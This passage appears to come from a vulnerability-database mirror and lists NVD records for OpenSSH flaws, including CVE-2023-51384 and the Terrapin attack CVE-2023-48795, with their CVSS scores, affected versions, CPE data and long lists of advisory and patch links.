          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 2.5,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2023-12-18T19:15:08.773",
  "references": [
    {
      "source": "cve@mitre.org",
      "url": "http://seclists.org/fulldisclosure/2024/Mar/21"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://www.openwall.com/lists/oss-security/2023/12/26/4"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/openssh/openssh-portable/commit/7ef3787c84b6b524501211b11a26c742f829af1a"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://lists.debian.org/debian-lts-announce/2023/12/msg00017.html"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.gentoo.org/glsa/202312-17"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://security.netapp.com/advisory/ntap-20240105-0005/"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://support.apple.com/kb/HT214084"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.debian.org/security/2023/dsa-5586"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-9.6"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Mailing List",
        "Release Notes"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2023/12/18/2"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://seclists.org/fulldisclosure/2024/Mar/21"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://www.openwall.com/lists/oss-security/2023/12/26/4"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.openwall.com/lists/oss-security/2025/10/07/1"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "http://www.openwall.com/lists/oss-security/2025/10/12/1"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/openssh/openssh-portable/commit/7ef3787c84b6b524501211b11a26c742f829af1a"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "https://lists.debian.org/debian-lts-announce/2023/12/msg00017.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.gentoo.org/glsa/202312-17"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://security.netapp.com/advisory/ntap-20240105-0005/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "url": "https://support.apple.com/kb/HT214084"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://vin01.github.io/piptagole/ssh/security/openssh/libssh/remote-code-execution/2023/12/20/openssh-proxycommand-libssh-rce.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.debian.org/security/2023/dsa-5586"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-9.6"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Release Notes"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2023/12/18/2"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-78"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

FKIE_CVE-2023-51384

Vulnerability from fkie_nvd - Published: 2023-12-18 19:15 - Updated: 2024-11-21 08:37
Severity ?
5.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Summary
In ssh-agent in OpenSSH before 9.6, certain destination constraints can be incompletely applied. When destination constraints are specified during addition of PKCS#11-hosted private keys, these constraints are only applied to the first key, even if a PKCS#11 token returns multiple keys.
References
cve@mitre.orghttp://seclists.org/fulldisclosure/2024/Mar/21Mailing List, Third Party Advisory
cve@mitre.orghttps://github.com/openssh/openssh-portable/commit/881d9c6af9da4257c69c327c4e2f1508b2fa754bPatch, Third Party Advisory
cve@mitre.orghttps://security.netapp.com/advisory/ntap-20240105-0005/Third Party Advisory
cve@mitre.orghttps://support.apple.com/kb/HT214084Third Party Advisory
cve@mitre.orghttps://www.debian.org/security/2023/dsa-5586Third Party Advisory
cve@mitre.orghttps://www.openssh.com/txt/release-9.6Release Notes
cve@mitre.orghttps://www.openwall.com/lists/oss-security/2023/12/18/2Mailing List, Release Notes
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2024/Mar/21Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/openssh/openssh-portable/commit/881d9c6af9da4257c69c327c4e2f1508b2fa754bPatch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20240105-0005/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.apple.com/kb/HT214084Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2023/dsa-5586Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.openssh.com/txt/release-9.6Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2023/12/18/2Mailing List, Release Notes
Impacted products
Vendor Product Version
openbsd openssh *
debian debian_linux 11.0
debian debian_linux 12.0
To clipboard 

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "D91DE00B-AE34-46AC-A5B3-C40A4C1F4C17",
              "versionEndExcluding": "9.6",
              "versionStartIncluding": "8.9",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    },
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
              "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:o:debian:debian_linux:12.0:*:*:*:*:*:*:*",
              "matchCriteriaId": "46D69DCC-AE4D-4EA5-861C-D60951444C6C",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In ssh-agent in OpenSSH before 9.6, certain destination constraints can be incompletely applied. When destination constraints are specified during addition of PKCS#11-hosted private keys, these constraints are only applied to the first key, even if a PKCS#11 token returns multiple keys."
    },
    {
      "lang": "es",
      "value": "En ssh-agent en OpenSSH anterior a 9.6, ciertas restricciones de destino se pueden aplicar de forma incompleta. Cuando se especifican restricciones de destino durante la adici\u00f3n de claves privadas alojadas en PKCS#11, estas restricciones solo se aplican a la primera clave, incluso si un token PKCS#11 devuelve varias claves."
    }
  ],
  "id": "CVE-2023-51384",
  "lastModified": "2024-11-21T08:37:59.780",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "NONE",
          "baseScore": 5.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2023-12-18T19:15:08.720",
  "references": [
    {
      "source": "cve@mitre.org",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2024/Mar/21"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/openssh/openssh-portable/commit/881d9c6af9da4257c69c327c4e2f1508b2fa754b"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.netapp.com/advisory/ntap-20240105-0005/"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://support.apple.com/kb/HT214084"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.debian.org/security/2023/dsa-5586"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-9.6"
    },
    {
      "source": "cve@mitre.org",
      "tags": [
        "Mailing List",
        "Release Notes"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2023/12/18/2"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Third Party Advisory"
      ],
      "url": "http://seclists.org/fulldisclosure/2024/Mar/21"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/openssh/openssh-portable/commit/881d9c6af9da4257c69c327c4e2f1508b2fa754b"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://security.netapp.com/advisory/ntap-20240105-0005/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://support.apple.com/kb/HT214084"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://www.debian.org/security/2023/dsa-5586"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-9.6"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Release Notes"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2023/12/18/2"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "NVD-CWE-noinfo"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

FKIE_CVE-2023-48795

Vulnerability from fkie_nvd - Published: 2023-12-18 16:15 - Updated: 2025-11-04 22:15
Severity ?
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Summary
The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust.
References
cve@mitre.orghttp://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.htmlThird Party Advisory, VDB Entry
cve@mitre.orghttp://seclists.org/fulldisclosure/2024/Mar/21Mailing List, Third Party Advisory
cve@mitre.orghttp://www.openwall.com/lists/oss-security/2023/12/18/3Mailing List
cve@mitre.orghttp://www.openwall.com/lists/oss-security/2023/12/19/5Mailing List
cve@mitre.orghttp://www.openwall.com/lists/oss-security/2023/12/20/3Mailing List, Mitigation
cve@mitre.orghttp://www.openwall.com/lists/oss-security/2024/03/06/3Mailing List
cve@mitre.orghttp://www.openwall.com/lists/oss-security/2024/04/17/8Mailing List
cve@mitre.orghttps://access.redhat.com/security/cve/cve-2023-48795Third Party Advisory
cve@mitre.orghttps://arstechnica.com/security/2023/12/hackers-can-break-ssh-channel-integrity-using-novel-data-corruption-attack/Press/Media Coverage
cve@mitre.orghttps://bugs.gentoo.org/920280Issue Tracking
cve@mitre.orghttps://bugzilla.redhat.com/show_bug.cgi?id=2254210Issue Tracking
cve@mitre.orghttps://bugzilla.suse.com/show_bug.cgi?id=1217950Issue Tracking
cve@mitre.orghttps://crates.io/crates/thrussh/versionsRelease Notes
cve@mitre.orghttps://filezilla-project.org/versions.phpRelease Notes
cve@mitre.orghttps://forum.netgate.com/topic/184941/terrapin-ssh-attackIssue Tracking
cve@mitre.orghttps://git.libssh.org/projects/libssh.git/commit/?h=stable-0.10&id=10e09e273f69e149389b3e0e5d44b8c221c2e7f6Patch
cve@mitre.orghttps://github.com/NixOS/nixpkgs/pull/275249Release Notes
cve@mitre.orghttps://github.com/PowerShell/Win32-OpenSSH/issues/2189Issue Tracking
cve@mitre.orghttps://github.com/PowerShell/Win32-OpenSSH/releases/tag/v9.5.0.0p1-BetaRelease Notes
cve@mitre.orghttps://github.com/TeraTermProject/teraterm/commit/7279fbd6ef4d0c8bdd6a90af4ada2899d786eec0Patch
cve@mitre.orghttps://github.com/TeraTermProject/teraterm/releases/tag/v5.1Release Notes
cve@mitre.orghttps://github.com/advisories/GHSA-45x7-px36-x8w8Third Party Advisory
cve@mitre.orghttps://github.com/apache/mina-sshd/issues/445Issue Tracking
cve@mitre.orghttps://github.com/connectbot/sshlib/commit/5c8b534f6e97db7ac0e0e579331213aa25c173abPatch
cve@mitre.orghttps://github.com/connectbot/sshlib/compare/2.2.21...2.2.22Third Party Advisory
cve@mitre.orghttps://github.com/cyd01/KiTTY/issues/520Issue Tracking
cve@mitre.orghttps://github.com/drakkan/sftpgo/releases/tag/v2.5.6Release Notes
cve@mitre.orghttps://github.com/erlang/otp/blob/d1b43dc0f1361d2ad67601169e90a7fc50bb0369/lib/ssh/doc/src/notes.xml#L39-L42Patch
cve@mitre.orghttps://github.com/erlang/otp/releases/tag/OTP-26.2.1Release Notes
cve@mitre.orghttps://github.com/golang/crypto/commit/9d2ee975ef9fe627bf0a6f01c1f69e8ef1d4f05dPatch
cve@mitre.orghttps://github.com/hierynomus/sshj/issues/916Issue Tracking
cve@mitre.orghttps://github.com/janmojzis/tinyssh/issues/81Issue Tracking
cve@mitre.orghttps://github.com/jtesta/ssh-audit/commit/8e972c5e94b460379fe0c7d20209c16df81538a5Patch
cve@mitre.orghttps://github.com/libssh2/libssh2/pull/1291Mitigation
cve@mitre.orghttps://github.com/mkj/dropbear/blob/17657c36cce6df7716d5ff151ec09a665382d5dd/CHANGES#L25Patch
cve@mitre.orghttps://github.com/mscdex/ssh2/commit/97b223f8891b96d6fc054df5ab1d5a1a545da2a3Patch
cve@mitre.orghttps://github.com/mwiede/jsch/compare/jsch-0.2.14...jsch-0.2.15Product
cve@mitre.orghttps://github.com/mwiede/jsch/issues/457Issue Tracking
cve@mitre.orghttps://github.com/mwiede/jsch/pull/461Release Notes
cve@mitre.orghttps://github.com/net-ssh/net-ssh/blob/2e65064a52d73396bfc3806c9196fc8108f33cd8/CHANGES.txt#L14-L16Patch
cve@mitre.orghttps://github.com/openssh/openssh-portable/commits/masterPatch
cve@mitre.orghttps://github.com/paramiko/paramiko/issues/2337Issue Tracking
cve@mitre.orghttps://github.com/proftpd/proftpd/blob/0a7ea9b0ba9fcdf368374a226370d08f10397d99/RELEASE_NOTESRelease Notes
cve@mitre.orghttps://github.com/proftpd/proftpd/blob/d21e7a2e47e9b38f709bec58e3fa711f759ad0e1/RELEASE_NOTESRelease Notes
cve@mitre.orghttps://github.com/proftpd/proftpd/blob/master/RELEASE_NOTESRelease Notes
cve@mitre.orghttps://github.com/proftpd/proftpd/issues/456Issue Tracking
cve@mitre.orghttps://github.com/rapier1/hpn-ssh/releasesRelease Notes
cve@mitre.orghttps://github.com/ronf/asyncssh/blob/develop/docs/changes.rstRelease Notes
cve@mitre.orghttps://github.com/ronf/asyncssh/tagsRelease Notes
cve@mitre.orghttps://github.com/ssh-mitm/ssh-mitm/issues/165Issue Tracking
cve@mitre.orghttps://github.com/warp-tech/russh/releases/tag/v0.40.2Release Notes
cve@mitre.orghttps://gitlab.com/libssh/libssh-mirror/-/tagsRelease Notes
cve@mitre.orghttps://groups.google.com/g/golang-announce/c/-n5WqVC18LQMailing List
cve@mitre.orghttps://groups.google.com/g/golang-announce/c/qA3XtxvMUygMailing List
cve@mitre.orghttps://help.panic.com/releasenotes/transmit5/Release Notes
cve@mitre.orghttps://jadaptive.com/important-java-ssh-security-update-new-ssh-vulnerability-discovered-cve-2023-48795/Press/Media Coverage
cve@mitre.orghttps://lists.debian.org/debian-lts-announce/2023/12/msg00017.htmlMailing List
cve@mitre.orghttps://lists.debian.org/debian-lts-announce/2024/01/msg00013.htmlMailing List, Third Party Advisory
cve@mitre.orghttps://lists.debian.org/debian-lts-announce/2024/01/msg00014.htmlMailing List, Third Party Advisory
cve@mitre.orghttps://lists.debian.org/debian-lts-announce/2024/04/msg00016.htmlMailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/33XHJUB6ROFUOH2OQNENFROTVH6MHSHA/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3CAYYW35MUTNO65RVAELICTNZZFMT2XS/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3JIMLVBDWOP4FUPXPTB4PGHHIOMGFLQE/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3YQLUQWLIHDB5QCXQEX7HXHAWMOKPP5O/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6Y74KVCPEPT4MVU3LHDWCNNOXOE5ZLUR/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/APYIXIQOVDCRWLHTGB4VYMAUIAQLKYJ3/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BL5KTLOSLH2KHRN4HCXJPK3JUVLDGEL6/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/C3AFMZ6MH2UHHOPIWT5YLSFV3D2VB3AC/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CHHITS4PUOZAKFIUBQAQZC7JWXMOYE4B/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/F7EYCFQCTSGJXWO3ZZ44MGKFC5HA7G3Y/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HYEDEXIKFKTUJIN43RG4B7T5ZS6MHUSP/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/I724O3LSRCPO4WNVIXTZCT4VVRMXMMSG/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KEOTKBUPZXHE3F352JBYNTSNRXYLWD6P/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KMZCVGUGJZZVDPCVDA7TEB22VUCNEXDD/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/L5Y6MNNVAPIJSXJERQ6PKZVCIUXSNJK7/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LZQVUHWVWRH73YBXUQJOD6CKHDQBU3DM/Mailing List, Third Party Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MKQRBF3DWMWPH36LBCOBUTSIZRTPEZXB/Vendor Advisory
cve@mitre.orghttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QI3EHAHABFQK7OABNCSF5GMYP6TONTI7/Mailing List, Third Party Advisory
cve@mitre.orghttps://matt.ucc.asn.au/dropbear/CHANGESRelease Notes
cve@mitre.orghttps://nest.pijul.com/pijul/thrussh/changes/D6H7OWTTMHHX6BTB3B6MNBOBX2L66CBL4LGSEUSAI2MCRCJDQFRQCPatch
cve@mitre.orghttps://news.ycombinator.com/item?id=38684904Issue Tracking
cve@mitre.orghttps://news.ycombinator.com/item?id=38685286Issue Tracking
cve@mitre.orghttps://news.ycombinator.com/item?id=38732005Issue Tracking
cve@mitre.orghttps://nova.app/releases/#v11.8Release Notes
cve@mitre.orghttps://oryx-embedded.com/download/#changelogRelease Notes
cve@mitre.orghttps://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0002Third Party Advisory
cve@mitre.orghttps://roumenpetrov.info/secsh/#news20231220Release Notes
cve@mitre.orghttps://security-tracker.debian.org/tracker/CVE-2023-48795Vendor Advisory
cve@mitre.orghttps://security-tracker.debian.org/tracker/source-package/libssh2Vendor Advisory
cve@mitre.orghttps://security-tracker.debian.org/tracker/source-package/proftpd-dfsgVendor Advisory
cve@mitre.orghttps://security-tracker.debian.org/tracker/source-package/trilead-ssh2Issue Tracking
cve@mitre.orghttps://security.gentoo.org/glsa/202312-16Third Party Advisory
cve@mitre.orghttps://security.gentoo.org/glsa/202312-17Third Party Advisory
cve@mitre.orghttps://security.netapp.com/advisory/ntap-20240105-0004/Third Party Advisory
cve@mitre.orghttps://support.apple.com/kb/HT214084Third Party Advisory
cve@mitre.orghttps://thorntech.com/cve-2023-48795-and-sftp-gateway/Third Party Advisory
cve@mitre.orghttps://twitter.com/TrueSkrillor/status/1736774389725565005Press/Media Coverage
cve@mitre.orghttps://ubuntu.com/security/CVE-2023-48795Vendor Advisory
cve@mitre.orghttps://winscp.net/eng/docs/history#6.2.2Release Notes
cve@mitre.orghttps://www.bitvise.com/ssh-client-version-history#933Release Notes
cve@mitre.orghttps://www.bitvise.com/ssh-server-version-historyRelease Notes
cve@mitre.orghttps://www.chiark.greenend.org.uk/~sgtatham/putty/changes.htmlRelease Notes
cve@mitre.orghttps://www.crushftp.com/crush10wiki/Wiki.jsp?page=UpdateRelease Notes
cve@mitre.orghttps://www.debian.org/security/2023/dsa-5586Issue Tracking
cve@mitre.orghttps://www.debian.org/security/2023/dsa-5588Issue Tracking
cve@mitre.orghttps://www.freebsd.org/security/advisories/FreeBSD-SA-23:19.openssh.ascRelease Notes
cve@mitre.orghttps://www.lancom-systems.de/service-support/allgemeine-sicherheitshinweise#c243508Vendor Advisory
cve@mitre.orghttps://www.netsarang.com/en/xshell-update-history/Release Notes
cve@mitre.orghttps://www.openssh.com/openbsd.htmlRelease Notes
cve@mitre.orghttps://www.openssh.com/txt/release-9.6Release Notes
cve@mitre.orghttps://www.openwall.com/lists/oss-security/2023/12/18/2Mailing List
cve@mitre.orghttps://www.openwall.com/lists/oss-security/2023/12/20/3Mailing List, Mitigation
cve@mitre.orghttps://www.paramiko.org/changelog.htmlRelease Notes
cve@mitre.orghttps://www.reddit.com/r/sysadmin/comments/18idv52/cve202348795_why_is_this_cve_still_undisclosed/Issue Tracking
cve@mitre.orghttps://www.suse.com/c/suse-addresses-the-ssh-v2-protocol-terrapin-attack-aka-cve-2023-48795/Press/Media Coverage
cve@mitre.orghttps://www.terrapin-attack.comExploit
cve@mitre.orghttps://www.theregister.com/2023/12/20/terrapin_attack_sshPress/Media Coverage
cve@mitre.orghttps://www.vandyke.com/products/securecrt/history.txtRelease Notes
af854a3a-2127-422b-91ae-364da2661108http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.htmlThird Party Advisory, VDB Entry
af854a3a-2127-422b-91ae-364da2661108http://seclists.org/fulldisclosure/2024/Mar/21Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2023/12/18/3Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2023/12/19/5Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2023/12/20/3Mailing List, Mitigation
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/03/06/3Mailing List
af854a3a-2127-422b-91ae-364da2661108http://www.openwall.com/lists/oss-security/2024/04/17/8Mailing List
af854a3a-2127-422b-91ae-364da2661108https://access.redhat.com/security/cve/cve-2023-48795Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://arstechnica.com/security/2023/12/hackers-can-break-ssh-channel-integrity-using-novel-data-corruption-attack/Press/Media Coverage
af854a3a-2127-422b-91ae-364da2661108https://bugs.gentoo.org/920280Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.redhat.com/show_bug.cgi?id=2254210Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://bugzilla.suse.com/show_bug.cgi?id=1217950Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://crates.io/crates/thrussh/versionsRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://filezilla-project.org/versions.phpRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://forum.netgate.com/topic/184941/terrapin-ssh-attackIssue Tracking
af854a3a-2127-422b-91ae-364da2661108https://git.libssh.org/projects/libssh.git/commit/?h=stable-0.10&id=10e09e273f69e149389b3e0e5d44b8c221c2e7f6Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/NixOS/nixpkgs/pull/275249Release Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/PowerShell/Win32-OpenSSH/issues/2189Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/PowerShell/Win32-OpenSSH/releases/tag/v9.5.0.0p1-BetaRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/TeraTermProject/teraterm/commit/7279fbd6ef4d0c8bdd6a90af4ada2899d786eec0Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/TeraTermProject/teraterm/releases/tag/v5.1Release Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/advisories/GHSA-45x7-px36-x8w8Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/apache/mina-sshd/issues/445Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/connectbot/sshlib/commit/5c8b534f6e97db7ac0e0e579331213aa25c173abPatch
af854a3a-2127-422b-91ae-364da2661108https://github.com/connectbot/sshlib/compare/2.2.21...2.2.22Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://github.com/cyd01/KiTTY/issues/520Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/drakkan/sftpgo/releases/tag/v2.5.6Release Notes
